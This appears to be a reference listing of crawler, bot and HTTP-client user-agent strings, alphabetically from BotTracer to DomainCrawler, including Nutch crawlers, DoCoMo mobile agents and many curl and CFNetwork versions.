Bot BotTracer; (+http://www.informacja.pl) visited therightfinancialadvisor.com

Bot BotTracer; (+http://www.informacja.pl) visited therightmover.com

Bot BoX 64 (NVidea GForce 4 Architecture); +http://microsoft-watch.org

Bot BPImageWalker

Bot BPImageWalker/2.0 (www.bdbrandprotect.com)

Bot Brand New Crawler

Bot BrightCrawler (http://www.brightcloud.com/brightcrawler.asp)

Bot BrightCrawler 1.0 (http://www.brightcloud.com/brightcrawler.asp; brightcrawler@brightcloud.com)

Bot BruinBot (+http://webarchive.cs.ucla.edu/bruinbot.html)

Bot BTbot/0.x (+http://www.btbot.com/btbot.html)

Bot BubbleGum/4.0

Bot BuildCMS crawler (http://www.buildcms.com/crawler)

Bot Bundestrojaner_1.5

Bot BurstFindCrawler/1.1 (crawler.burstfind.com; http://crawler.burstfind.com; crawler@burstfind.com)

Bot Buscaplus Robi/1.0 (http://www.buscaplus.com/robi/)

Bot businessdbbot/v1.2 (http://www.businessdb.com/bot.php)

Bot Busiversebot/v1.0 (http://www.busiverse.com/bot.php)

Bot BuzzSoRadBot/0.1 ( http://buzz.ohsorad.com)

Bot bwh3_user_agent

Bot bwh3_user_agent (compatible; MSIE 7.0; Windows NT 6.0) FirePHP/0.1.2

Bot bwh3_user_agent FirePHP/0.1.2

Bot bwh3_user_agent FirePHP/0.4

Bot c-spider.bot

Bot Cabot/Nutch-1.0-dev (Amfibi's web-crawling robot; http://www.amfibi.com/cabot/; agent@amfibi.com)

Bot Cabot/Nutch-1.0-dev (Amfibi's web-crawling robot; http://www.amfibi.com/cabot/; help at amfibi dot com)

Bot Cabot/Nutch-1.2 (Amfibi's webcrawler robot; http://www.amfibi.com/cabot; cabot@amfibi.com)

Bot CacheServer

Bot caizhi/infomation/Nutch-0.8.1

Bot CakePHP

Bot Caliperbot/1.0 (+http://www.conductor.com/caliperbot)

Bot CamontSpider/1.0 +http://epweb2.ph.bham.ac.uk/user/slater/camont/info.html

Bot cancho/Nutch-1.0 (crawl test; http://asdf.net/; asdf@asdf.net)

Bot Canookle/1.1 (+http://www.canookle.ca/spider.html)

Bot Carracas 1.4.1

Bot Casper Bot Search

Bot CatchBot/1.0; +http://www.catchbot.com

Bot CatchBot/2.0; +http://www.catchbot.com

Bot CatchBot/3.0; +http://www.catchbot.com

Bot Catharsis/0.1.8.89 (compatible) filecache

Bot Cazoodle/Nutch-0.9-dev

Bot Cazoodle/Nutch-0.9-dev (Cazoodle Nutch Crawler; http://www.cazoodle.com; mqbot@cazoodle.com)

Bot CazoodleBot/0.0.2 (http://www.cazoodle.com/contact.php; cbot@cazoodle.com)

Bot CazoodleBot/0.0.2 (http://www.cazoodle.com; cazoodlebot@cazoodle.com)

Bot CazoodleBot/CazoodleBot-0.1 (CazoodleBot Crawler; http://www.cazoodle.com/cazoodlebot; cazoodlebot@cazoodle.com)

Bot CazoodleBot/Nutch-0.9-dev (CazoodleBot Crawler; http://www.cazoodle.com/cazoodlebot; cazoodlebot@cazoodle.com)

Bot CazoodleBot/Nutch-0.9-dev (CazoodleBot Crawler; http://www.cazoodle.com; mqbot@cazoodle.com)

Bot CC-rget/5.818 libwww-perl/5.805

Bot CC-rget/5.818 libwww-perl/5.813

Bot CC-rget/5.818 libwww-perl/5.823

Bot CC-rget/5.818 libwww-perl/5.831

Bot CC-rget/5.818 libwww-perl/5.834

Bot CCBot/1.0 (+http://www.commoncrawl.org/bot.html)

Bot ccnurl bot 1.0 (http://ccn.tw)

Bot ccubee/2008

Bot ccubee/3.5

Bot CentiverseBot - investigator

Bot CentiverseBot - investigator/3.0 (http://www.centiverse-project.net)

Bot cf_crawler/0.1 libwww-perl/5.808

Bot cfetch/1.0

Bot CFG_SPIDER_USER_AGENT

Bot cfnetwork

Bot CFNetwork/1.1

Bot CFNetwork/10.4.3

Bot CFNetwork/129.13

Bot CFNetwork/129.16

Bot CFNetwork/129.18

Bot CFNetwork/129.19

Bot CFNetwork/129.20

Bot CFNetwork/129.21

Bot CFNetwork/129.22

Bot CFNetwork/152.4

Bot CFNetwork/217

Bot CFNetwork/220

Bot CFNetwork/221.5

Bot CFNetwork/330

Bot CFNetwork/330.4;afcid=M1b8c4d35092ddb4ebe51f30bfeb6c5fa

Bot CFNetwork/4.0

Bot Charlotte

Bot Chat Catcher - (http://chatcatcher.com/bot.htm)

Bot check_http/1.81 (nagios-plugins 1.4)

Bot Checklinks/1.3 (pywikipedia robot; http://toolserver.org/~dispenser/view/Checklinks)

Bot Chen Li/Nutch-1.0 (Nutch spiderman; http://chenli.com.cn; chenlibiti@163.com)

Bot CheshireCheck/1.0 libwww-perl/5.808

Bot Chickety China (the Chinese Chicken)

Bot Chickety China (the Chinese Chicken) / Nutch-0.9

Bot Chilkat/1.0.0 (+http://www.chilkatsoft.com/ChilkatHttpUA.asp)

Bot Chirplinks/1.0

Bot chirplinks_res/1.0

Bot Chirrup/1.130

Bot Chitika ContentHit 1.0

Bot Chitika-Linx/1.0 (+http://chitika.com/linx_overview.php)

Bot ChitikaBot/1.1 (+http://www.chitika.com/bot.html)

Bot chWWW/0.3 +http://

Bot chWWW/0.4 +http://

Bot chWWW/0.5 +http://

Bot CIA Crawl Robot/2.3 (Windows; U; Windows NT 3.1; en-US; rv:2.0)

Bot CIA/2.3 (KrazyGlue/Atari2600 0.91.0.1; Windows; U; Windows NT 6.0; en-US; rv:2.0; gecko/20081217 FBI_Server_Redirect (.N...

Bot Ciao/9.25 (Windows NT 6.0; U; en)

Bot cierzo-development/Nutch-1.1-dev

Bot Cityreview Robot (+http://www.cityreview.org/crawler/)

Bot CJNetworkQuality; http://www.cj.com/networkquality

Bot ClamAV 0.92

Bot ClamAV 0.95.2

Bot CligooRobot/1.0

Bot Clown Epoch

Bot Cluuz/0.91

Bot CMS Survey

Bot cms4site browser/3.0 (MSIE incompatible) http://www.cms4site.ru

Bot cn_3 larbin2.6.3@unspecified.mail

Bot cn_com_viewer larbin2.6.3@unspecified.mail

Bot cn_web_viewer_web larbin2.6.3@unspecified.mail

Bot Cobra

Bot CobWeb/1.0 (auto classifier)

Bot Coderz-Bot (http://the-coderz.de/)

Bot CoffeeCup Software's Catalyst Framework: Request Class

Bot ColdFusion

Bot Colloquy4132 CFNetwork/438.12 Darwin/9.7.0 (i386) (MacBookPro1%2C1)

Bot com_viewer larbin2.6.3@unspecified.mail

Bot com_web larbin2.6.3@unspecified.mail

Bot com_web_viewer larbin2.6.3@unspecified.mail

Bot com_web1 larbin2.6.3@unspecified.mail

Bot Combine/3 http://combine.it.lth.se/

Bot Comodo-Certificates-Spider

Bot COMODOspider/Nutch-1.0

Bot compatible; Googlebot/2.1 (+http://www.googlebot.com/bot.html); Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Me...

Bot compatible; Googlebot/2.1; +http://www.google.com/bot.html

Bot compatible; Mozilla 4.0; MSIE 5.5; (SqwidgeBot b0.6.2 - http://www.sqwidge.com/bot/)

Bot compatible; Mozilla 4.0; MSIE 5.5; (SqwidgeBot b1 - http://www.sqwidge.com/bot/)

Bot compatible;+Googlebot/2.1;++http://www.google.com/bot.html

Bot complex_network_group/Nutch-0.9-dev (discovering the structure of the world-wide-web; http://cantor.ee.ucla.edu/~network...

Bot computergeektipsbot/0.02b (computergeektips.info; U; ; 2047-7; en)

Bot COMTORBOT (http://www.comtor.net/)

Bot con2txt/1.0

Bot Connotea libwww-perl/5.808

Bot Connotea libwww-perl/5.837

Bot conpilot crawler (http://www.conpilot.com/privacy.jsp)

Bot ContactBot/0.2

Bot ContentBarrier%20X510.5.4%20 CFNetwork/422.15.2 Darwin/9.6.0 (i386) (MacPro1%2C1)

Bot ConveraCrawler/0.7 (+http://www.authoritativeweb.com/crawl)

Bot ConveraCrawler/0.8 (+http://www.authoritativeweb.com/crawl)

Bot ConveraCrawler/0.9 (+http://www.authoritativeweb.com/crawl)

Bot ConveraCrawler/0.9d (+http://www.authoritativeweb.com/crawl)

Bot ConveraCrawler/0.9e (+http://ews.converasearch.com/crawl.htm)

Bot ConveraCrawler/0.9e (+http://www.authoritativeweb.com/crawl)

Bot CookieMonster

Bot copyright sheriff ( http://www.copyrightsheriff.com/)

Bot copyright sheriff (+http://www.copyrightsheriff.com/)

Bot CoralWebPrx/0.1.19 (See http://coralcdn.org/)

Bot CoralWebPrx/0.1.20 (See http://coralcdn.org/)

Bot core-project/1.0

Bot CorenSearchBot/1.0 libwww-perl/5.807

Bot CorenSearchBot/1.0 libwww-perl/5.808

Bot CorenSearchBot/1.4 en libwww-perl/5.808

Bot CorenSearchBot/1.5 en libwww-perl/5.834

Bot Covario Amazon Nutch Crawler/Nutch-1.2

Bot Covario IDS/Nutch-1.2

Bot Covario-IDS/1.0 (Covario; http://www.covario.com/ids; support at covario dot com)

Bot Covario-IDS/1.0 (Covario; http://www.covario.com; support at covario dot com)

Bot CowCrawler/CowCrawler-dev (+http://beta.cow.com)

Bot cpu_pesquisa (compatible; heritrix/1.12.1 +http://torchweb.com.br; prppedro@gmail.com)

Bot cr4nk.com/4.7 [en] (Windows 3.1; I) [Netscape]

Bot crawl test/Nutch-1.0-dev

Bot crawl-66-249-66-1.googlebot.com

Bot CRAWL-E/0.5

Bot CRAWL-E/0.6.2

Bot Crawler

Bot Crawler 1.0

Bot Crawler for Sika Solutions (http://www.sika-sol.co.uk/)

Bot crawler root@localhost

Bot Crawler.MyCrawler

Bot Crawler/1.0

Bot Crawler/1.0+http://elibron.com

Bot crawler@fast.no; http://www.fast.no/faq/faqfastwebsearch/faqfastwebcrawler.html

Bot Crawler0.1

Bot crawler43.ejupiter.com

Bot crawler4j (http://code.google.com/p/crawler4j/)

Bot crawly_2.6.3 crawly@commandcom.com

Bot csci_b659/0.13

Bot csd_bpgc_v4.1

Bot CSE HTML Validator Professional (http://www.htmlvalidator.com/)

Bot CSE HTML Validator Std 8.04 (http://www.htmlvalidator.com/)

Bot CSimpleSpider Robot

Bot Cuam Ver0.050bx

Bot cugeCrawler 1.2 - cuge.org

Bot Cugillion Search Engine Robot 1.4

Bot curl

Bot curl/7.10.2 (powerpc-apple-darwin7.0) libcurl/7.10.2 OpenSSL/0.9.7l zlib/1.1.4

Bot curl/7.10.6 (i386-redhat-linux-gnu) libcurl/7.10.6 OpenSSL/0.9.7a ipv6 zlib/1.1.4

Bot curl/7.10.6 (x86_64-unknown-linux-gnu) libcurl/7.10.6 OpenSSL/0.9.7a ipv6 zlib/1.1.4

Bot curl/7.12.1 (i386-redhat-linux-gnu) libcurl/7.12.1 OpenSSL/0.9.7a zlib/1.2.1.2 libidn/0.5.6

Bot curl/7.12.1 (i686-redhat-linux-gnu) libcurl/7.12.1 OpenSSL/0.9.7a zlib/1.2.1.2 libidn/0.5.6

Bot curl/7.12.2 (i686-pc-linux-gnu) libcurl/7.12.2 OpenSSL/0.9.8a zlib/1.1.3

Bot curl/7.13.1 (i386-portbld-freebsd4.10) libcurl/7.13.1 OpenSSL/0.9.7d zlib/1

Bot curl/7.13.1 (i386-portbld-freebsd4.10) libcurl/7.13.1 OpenSSL/0.9.7d zlib/1.1.4

Bot curl/7.13.1 (powerpc-apple-darwin8.0) libcurl/7.13.1 OpenSSL/0.9.7g zlib/1.2.3

Bot curl/7.13.1 (powerpc-apple-darwin8.0) libcurl/7.13.1 OpenSSL/0.9.7i zlib/1.2.3

Bot curl/7.13.1 (powerpc-apple-darwin8.0) libcurl/7.13.1 OpenSSL/0.9.7l zlib/1.2.3

Bot curl/7.13.2 (x86_64-unknown-linux-gnu) libcurl/7.13.2 zlib/1.2.2

Bot curl/7.14.0 (i386-portbld-freebsd5.4) libcurl/7.14.0 OpenSSL/0.9.7e zlib/1.2.1

Bot curl/7.14.0 (i586-pc-mingw32msvc) libcurl/7.14.0 zlib/1.2.2

Bot curl/7.14.1 (i386-portbld-freebsd4.3) libcurl/7.14.1 OpenSSL/0.9.6b zlib/1.1.4 libidn/0.5.18

Bot curl/7.15.1 (i486-pc-linux-gnu) libcurl/7.15.1 OpenSSL/0.9.8a zlib/1.2.3 libidn/0.5.18

Bot curl/7.15.3 (i386-portbld-freebsd6.0) libcurl/7.15.3 OpenSSL/0.9.7e zlib/1.2.2

Bot curl/7.15.3 (i686-pc-linux-gnu) libcurl/7.15.3 OpenSSL/0.9.7a zlib/1.2.1.2 libidn/0.5.6

Bot curl/7.15.4 (i386-portbld-freebsd6.0) libcurl/7.15.4 OpenSSL/0.9.7e zlib/1.2.2 c-ares/1.3.1

Bot curl/7.15.4 (i586-pc-mingw32msvc) libcurl/7.15.4 zlib/1.2.2

Bot curl/7.15.5 (i486-pc-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8c zlib/1.2.3 libidn/0.6.5

Bot curl/7.15.5 (i486-pc-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8g zlib/1.2.3 libidn/0.6.5

Bot curl/7.15.5 (i686-redhat-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8a zlib/1.2.3 libidn/0.6.2

Bot curl/7.15.5 (i686-redhat-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5

Bot curl/7.15.5 (x86_64-redhat-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5

Bot curl/7.16.0 (i686-pc-linux-gnu) libcurl/7.16.0 OpenSSL/0.9.7a zlib/1.2.1.2

Bot curl/7.16.2 (ALPHA-HP-VMS) libcurl/7.16.2 OpenSSL/0.9.7e

Bot curl/7.16.2 (i686-pc-linux-gnu) libcurl/7.16.2 OpenSSL/0.9.7a zlib/1.2.1.2 libidn/0.5.6

Bot curl/7.16.2 (x86_64-redhat-linux-gnu) libcurl/7.16.2 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.8

Bot curl/7.16.3 (amd64-portbld-freebsd6.3) libcurl/7.16.3 OpenSSL/0.9.7e zlib/1.2.3

Bot curl/7.16.3 (i686-pc-cygwin) libcurl/7.16.3 OpenSSL/0.9.8k zlib/1.2.3 libssh2/0.15-CVS

Bot curl/7.16.3 (powerpc-apple-darwin8.0) libcurl/7.16.3 OpenSSL/0.9.7l zlib/1.2.3

Bot curl/7.16.3 (powerpc-apple-darwin9.0) libcurl/7.16.3 OpenSSL/0.9.7l zlib/1.2.3

Bot curl/7.16.4 (i386-apple-darwin9.0) libcurl/7.16.4 OpenSSL/0.9.7l zlib/1.2.3

Bot curl/7.16.4 (i386-redhat-linux-gnu) libcurl/7.16.4 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.8

Bot curl/7.16.4 (i686-suse-linux-gnu) libcurl/7.16.4 OpenSSL/0.9.8e zlib/1.2.3 libidn/1.0

Bot curl/7.16.4 (x86_64-pc-linux-gnu) libcurl/7.16.4 OpenSSL/0.9.8g zlib/1.2.3

Bot curl/7.17.1 (i686-pc-linux-gnu)

Bot curl/7.17.1 (i686-pc-linux-gnu) libcurl/7.17.1 OpenSSL/0.9.7a zlib/1.2.1.2 libidn/0.5.6

Bot curl/7.18.0 (i486-pc-linux-gnu) libcurl/7.18.0 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.1

Bot curl/7.18.0 (i586-pc-mingw32msvc) libcurl/7.18.0 zlib/1.2.3

Bot curl/7.18.2 (i386-redhat-linux-gnu) libcurl/7.18.2 NSS/3.12.2.0 zlib/1.2.3 libidn/0.6.14 libssh2/0.18

Bot curl/7.18.2 (i486-pc-linux-gnu) libcurl/7.18.2 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.10

Bot curl/7.18.2 (i486-pc-linux-gnu) libcurl/7.18.2 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.8

Bot curl/7.18.2 (i486-pc-linux-gnu) libcurl/7.18.2 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.8 libssh2/0.18

Bot curl/7.18.2 (x86_64-pc-linux-gnu) libcurl/7.18.2 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.8

Bot curl/7.19.2 (x86_64-unknown-linux-gnu) libcurl/7.19.2 OpenSSL/0.9.8c zlib/1.2.3

Bot curl/7.19.3 (i586-pc-mingw32msvc) libcurl/7.19.3 zlib/1.2.3

Bot curl/7.19.4 (i386-redhat-linux-gnu) libcurl/7.19.4 NSS/3.12.2.0 zlib/1.2.3 libidn/0.6.14 libssh2/0.18

Bot curl/7.19.4 (x86_64-pc-linux-gnu) libcurl/7.19.4 OpenSSL/0.9.8k zlib/1.2.3 libidn/0.6.5

Bot curl/7.19.4 (x86_64-pc-linux-gnu) libcurl/7.19.4 OpenSSL/0.9.8k zlib/1.2.3 libidn/1.13

Bot curl/7.19.5 (i486-pc-linux-gnu) libcurl/7.19.5 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.15

Bot curl/7.19.5 (x86_64-pc-linux-gnu) libcurl/7.19.5 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.15

Bot curl/7.19.6 (i386-redhat-linux-gnu) libcurl/7.19.6 NSS/3.12.4.5 zlib/1.2.3 libidn/1.9 libssh2/1.2

Bot curl/7.19.7 (i486-pc-linux-gnu) libcurl/7.19.7 OpenSSL/0.9.8k zlib/1.2.3.3 libidn/1.15

Bot curl/7.19.7 (universal-apple-darwin10.0) libcurl/7.19.7 OpenSSL/0.9.8l zlib/1.2.3

Bot curl/7.19.7 (x86_64-pc-linux-gnu) libcurl/7.19.7 OpenSSL/0.9.8k zlib/1.2.3.3 libidn/1.15

Bot curl/7.20.0 (i386-apple-darwin9.8.0) libcurl/7.20.0 OpenSSL/0.9.8m zlib/1.2.3 libidn/1.16

Bot curl/7.20.0 (x86_64-redhat-linux-gnu) libcurl/7.20.0 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5

Bot curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3

Bot curl/7.21.0 (i386-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.5

Bot curl/7.21.0 (x86_64-pc-linux-gnu) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3.4 libidn/1.15 libssh2/1.2.5

Bot curl/7.21.0 (x86_64-pc-linux-gnu) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3.4 libidn/1.18

Bot curl/7.21.1 (powerpc-apple-darwin9.8.0) libcurl/7.21.1 OpenSSL/1.0.0a zlib/1.2.5 libidn/1.19

Bot curl/7.21.2 (x86_64-apple-darwin10.4.0) libcurl/7.21.2 OpenSSL/1.0.0d zlib/1.2.5 libidn/1.19

Bot curl/7.21.2 (x86_64-apple-darwin10.6.0) libcurl/7.21.2 OpenSSL/1.0.0d zlib/1.2.5 libidn/1.19

Bot curl/7.21.4 (i386-pc-win32) libcurl/7.21.4 OpenSSL/0.9.8g c-ares/1.7.4 libssh2/1.2.7

Bot curl/7.9.5 (i386-redhat-linux-gnu) libcurl 7.9.5 (OpenSSL 0.9.6b) (ipv6 enabled)

Bot curl/7.9.8 (i686-pc-linux-gnu) libcurl 7.9.8 (OpenSSL 0.9.6b) (ipv6 enabled)

Bot curl/7.9.8 (i686-pc-linux-gnu) libcurl 7.9.8 (OpenSSL 0.9.7a) (ipv6 enabled)

Bot Custo 2.0 (www.netwu.com)

Bot Cuttlefish*:._.:**:._.:*>

Bot CWD DTeam Link Verifier - http://www.childrenwithdiabetes.com/ - jeffh@castleweb.com for comments

Bot CyberPatrol SiteCat Webbot (http://www.cyberpatrol.com/cyberpatrolcrawler.asp)

Bot CydralSpider/3.0 (Cydral Image Search; http://www.cydral.com)

Bot Cynthia 1.0

Bot D501i DoCoMo/1.0/D501i

Bot DA 7.0

Bot daemon (AmigaOS; alpha/06; AmigaOS)

Bot DailyPerfect/1.0

Bot Daruma/1.08 (Windows 98; U) [en]

Bot darxi/1.1

Bot darxi/1.1 (http://darxi.com/projects.asp)

Bot DataCha0s/2.0

Bot DataFountains/1.0

Bot DataFountains/DMOZ Downloader

Bot DataFountains/Dmoz Downloader (http://ivia.ucr.edu/useragents.shtml)

Bot DataFountains/DMOZ Feature Vector Corpus Creator (http://ivia.ucr.edu/useragents.shtml)

Bot DataPatrol/Nutch-1.0 (DataPatrol indexer from Garlik; http://www.garlik.com/products.php; crawler at garlik dot com)

Bot DB_DEBUG

Bot DeadLinkCheck/0.4.0 libwww-perl/5.63

Bot DeadLinkCheck/0.4.0 libwww-perl/5.800

Bot DeadLinkCheck/0.4.0 libwww-perl/5.803

Bot DealGates Bot/1.1 by Luc Michalski (http://spider.dealgates.com/bot.html)

Bot DealGates Bot/1.2 by Luc Michalski (http://www.dealgates.net/bot.html)

Bot debian_501

Bot debian_503

Bot Deebo v.5

Bot DeepIndex (www.en.deepindex.com)

Bot Denmex websearch (http://search.denmex.com)

Bot DERIbot/Nutch-1.0-dev (DERIbot; http://deri.org ; info@deri.ie)

Bot Designed for Fun Web Crawler58

Bot DEV_TEST_DEVICE

Bot deva/deva-1.0 (Deva Fetcher; devarajaswami at yahoo dot com)

Bot Deviance

Bot devil in disguise (v. 2.0.1a)

Bot DiamondBot

Bot Digger/2.0 JDK/1.4.2

Bot disco/Nutch-0.9 (experimental crawler ... please email imagine@gmail.com if problems observed; imagine@gmail.com)

Bot disco/Nutch-0.9 (experimental crawler ... please email imagine@gmail.com if problems observed; nedrocks@gmail.com)

Bot disco/Nutch-0.9 (experimental crawler; nedrocks@gmail.com)

Bot disco/Nutch-0.9 (experimental crawler; www.discoveryengine.com; disco-crawl@discoveryengine.com)

Bot disco/Nutch-1.0-dev (experimental crawler; www.discoveryengine.com/robot.html; disco-crawl@discoveryengine.com)

Bot disco/Nutch-1.0-dev (experimental crawler; www.discoveryengine.com; disco-crawl@discoveryengine.com)

Bot dit/1 (Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.0.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727); http://www....

Bot dmoz/1.0

Bot dmoz_tool3

Bot dnScoop Tool

Bot DNSMine 0.9 (http://www.DNSmine.com)

Bot DNSRight.com WebBot Link Ckeck Tool. Report abuse to: dnsr@dnsright.com

Bot DoCoMo/1.0/D501i

Bot docomo/1.0/N505i/c20/TB/W20H10 (compatible; Googlebot-mobile/2.1

Bot DoCoMo/1.0/N505i/c20/TB/W20H10 (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html)

Bot DoCoMo/1.0/N506i/c20/TB/W20H11

Bot DoCoMo/1.0/Nxxxi/c10

Bot DoCoMo/1.0/P502i/c10 (Google CHTML Proxy/1.0)

Bot DoCoMo/2.0

Bot DoCoMo/2.0 D903i(c100;TB;W24H12)

Bot DoCoMo/2.0 F01A(c100;TB;W24H17)

Bot DoCoMo/2.0 F03B(c500;TB;W24H16)

Bot DoCoMo/2.0 F03B(c500;TB;W24H16)(c100;TB;W24H12)

Bot DoCoMo/2.0 F900i

Bot DoCoMo/2.0 F905i(c100;TB;W24H17)

Bot DoCoMo/2.0 F905i(c100;TB;W24H17),gzip(gfe) (via translate.google.com)

Bot DoCoMo/2.0 N02B(c500;TB;W30H20)

Bot DoCoMo/2.0 N04A(c100;TB;W24H16)

Bot DOCOMO/2.0 N701i(c100;TB;W24H12)

Bot DoCoMo/2.0 N900iL(c100;TJ)

Bot DoCoMo/2.0 N904i(c100;TB;W24H16)

Bot DoCoMo/2.0 N905i(c100;TB;W24H16)

Bot DoCoMo/2.0 N905i(c100;TB;W24H16) (compatible; Googlebot-Mobile/2.1; http://www.google.com/bot.html)

Bot DoCoMo/2.0 N905i(c100;TB;W24H16) (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html)

Bot DoCoMo/2.0 N905i(c100;TB;W24H16) (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html) FirePHP/0.3

Bot DoCoMo/2.0 N906i(c100;TC;W24H16)

Bot DoCoMo/2.0 NetFront3.0(c500;TB;W24H16)

Bot DoCoMo/2.0 P05A(c100;TB;W24H15) (compatible; BaiduMobaider/1.0;+http://www.baidu.jp/spider/)

Bot DoCoMo/2.0 P07A3(c500;TB;W24H15)

Bot DoCoMo/2.0 P705i(c100;TB;W24H15)

Bot DoCoMo/2.0 P705i(c100;TC;W24H15)

Bot DoCoMo/2.0 P900i(c100;TB;W24H11)

Bot DoCoMo/2.0 P900i(c100;TB;W24H11) (compatible; ichiro/mobile goo; +http://help.goo.ne.jp/help/article/1142/)

Bot DoCoMo/2.0 P900i(c100;TB;W24H11)(compatible; ichiro/mobile goo;+http://help.goo.ne.jp/door/crawler.html)

Bot DoCoMo/2.0 P901i(c100;TB;W24H11) (compatible; ichiro/mobile goo; +http://help.goo.ne.jp/door/crawler.html)

Bot DoCoMo/2.0 P901i(c100;TB;W30H15)

Bot DoCoMo/2.0 P902i(c100;TB;W24H12)

Bot DoCoMo/2.0 P903i(c100;TB;W24H12)

Bot DoCoMo/2.0 P903iX

Bot DoCoMo/2.0 P904i( m65bot/0.1; c; http://m65.jp/bot.html )

Bot DOCOMO/2.0 P906i(c100;TB;W24H15)

Bot DoCoMo/2.0 P906i(c100;TB;W24H15) (compatible; MSNBOT-MOBILE/1.1;+http://search.msn.com/msnbot.htm)

Bot DoCoMo/2.0 P90liS(c100;TB;W20H10)

Bot DoCoMo/2.0 SH01B(c500;TB;W24H16)

Bot DoCoMo/2.0 SH02A(c100;TB;W24H16)

Bot DoCoMo/2.0 SH03B(c500;TB;W30H13)

Bot DoCoMo/2.0 SH03B(c500;TB;W40H18)

Bot DoCoMo/2.0 SH901iC(c100;TB;W24H12)

Bot DoCoMo/2.0 SH901iC(c100;TB;W24H12;ser123456789012345;icc123456789012345)

Bot DoCoMo/2.0 SH902i (compatible; Y!J-SRD/1.0; http://help.yahoo.co.jp/help/jp/search/indexing/indexing-27.html)

Bot DoCoMo/2.0 SH902i Googlebot-Mobile

Bot DoCoMo/2.0 SH904i(c100;TB;W24H16)

Bot DoCoMo/2.0 SH905i(c100;TB;W24H16)

Bot DoCoMo/2.0 SO906i(c100;TB;W30H23)

Bot DoCoMo/2.0/SO502i (compatible; Y!J-SRD/1.0; http://help.yahoo.co.jp/help/jp/search/indexing/indexing-27.html)

Bot dodgebot/experimental

Bot Dom2Dom/0.1.0.0

Bot Dom2Dom/0.1.3870.38298_2010-08-06_21:16:36

Bot Domain Dossier utility (http://CentralOps.net/)

Bot Domaincrawler 1.0

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/appointmentnet.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/botsvsbrowsers.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/cutaboverealtyagents.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/dealershipnet.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/dentist-search.net)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/dinnerbot.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/findafootdr.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/findanursingschool.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/findasurgeononline.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/lawschoollocator.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/localallergists.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/localbeautyschools.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/localcardiologists.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/localchiros.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/localculinaryschools.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/localdermatologists.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/localearnoseandthroat.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/localemergencymedicine.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/localendocrinologists.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/localeyedoctor.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/localfamilypractice.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/localflightschools.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/localgeriatrics.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/localhomelenders.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/localinternalmedicine.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/localmassageschool.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/localoncologists.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/localorthopedists.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/localpathology.com)

Bot DomainCrawler/1.0 (info@domaincrawler.com; http://www.domaincrawler.com/domains/view/localpediatrics.com)

